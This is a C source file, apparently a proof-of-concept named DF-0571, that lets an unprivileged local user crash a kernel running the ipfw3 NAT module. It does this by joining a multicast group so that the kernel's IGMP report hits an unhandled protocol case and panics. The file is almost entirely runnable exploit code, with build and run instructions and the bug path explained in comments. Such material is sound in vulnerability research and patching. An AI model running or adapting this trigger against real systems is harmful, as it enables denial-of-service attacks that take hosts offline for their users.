DF-0571 / trigger.c
/* * DF-0571 trigger: any outbound IP packet with proto != TCP/UDP/ICMP * that matches a NAT rule panics the kernel at ip_fw3_nat.c:254. * * We don't need to actually craft a raw packet — the kernel itself emits * IGMP (proto 2) membership reports when an unprivileged user joins a * multicast group on a socket bound to an interface whose traffic matches * a NAT rule. The IGMP report is sent via ip_output -> ipfw3 NAT check * -> check_nat -> switch (ip->ip_p) { default: panic("unsupported proto") } * * Build: cc -o trigger trigger.c * Run: ./trigger (then wait for kernel panic / ssh drop) * Pre: ipfw3/ipfw3_basic/ipfw3_nat loaded; ipfw3 nat 1 config ip <ifaddr>; * ipfw3 add <n> nat 1 ip from any to any */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(void) { int s, rc; struct ip_mreqn mreq; printf("[*] DF-0571: opening UDP socket and joining multicast group\n"); printf("[*] this causes the kernel to emit an IGMP (proto 2) report\n"); printf("[*] which, when matched by an ipfw3 NAT rule, panics at\n"); printf("[*] ip_fw3_nat.c:254 panic(\"ipfw3: unsupported proto %%u\")\n"); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } /* bind to vtnet0 address so the IGMP report goes out via vtnet0 */ struct sockaddr_in lsa; memset(&lsa, 0, sizeof(lsa)); lsa.sin_family = AF_INET; lsa.sin_port = htons(0); lsa.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(s, (struct sockaddr *)&lsa, sizeof(lsa)) < 0) { perror("bind"); close(s); return 1; } memset(&mreq, 0, sizeof(mreq)); mreq.imr_multiaddr.s_addr = inet_addr("224.0.0.1"); /* all-hosts */ mreq.imr_address.s_addr = inet_addr("10.0.2.15"); /* vtnet0 addr */ mreq.imr_ifindex = 0; printf("[*] joining 224.0.0.1 on 10.0.2.15... (panic should follow)\n"); fflush(stdout); rc = setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)); if (rc < 0) { perror("setsockopt(IP_ADD_MEMBERSHIP)"); printf("[!] multicast join failed: %s\n", strerror(errno)); printf("[!] try sending via raw socket as root instead\n"); close(s); return 2; } printf("[+] IP_ADD_MEMBERSHIP returned (no panic from join itself)\n"); printf("[*] sending a UDP packet to multicast to force IGMP report\n"); struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(12345); dst.sin_addr.s_addr = inet_addr("224.0.0.1"); rc = sendto(s, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); printf("[+] sendto returned %d\n", rc); sleep(3); close(s); return 0; } |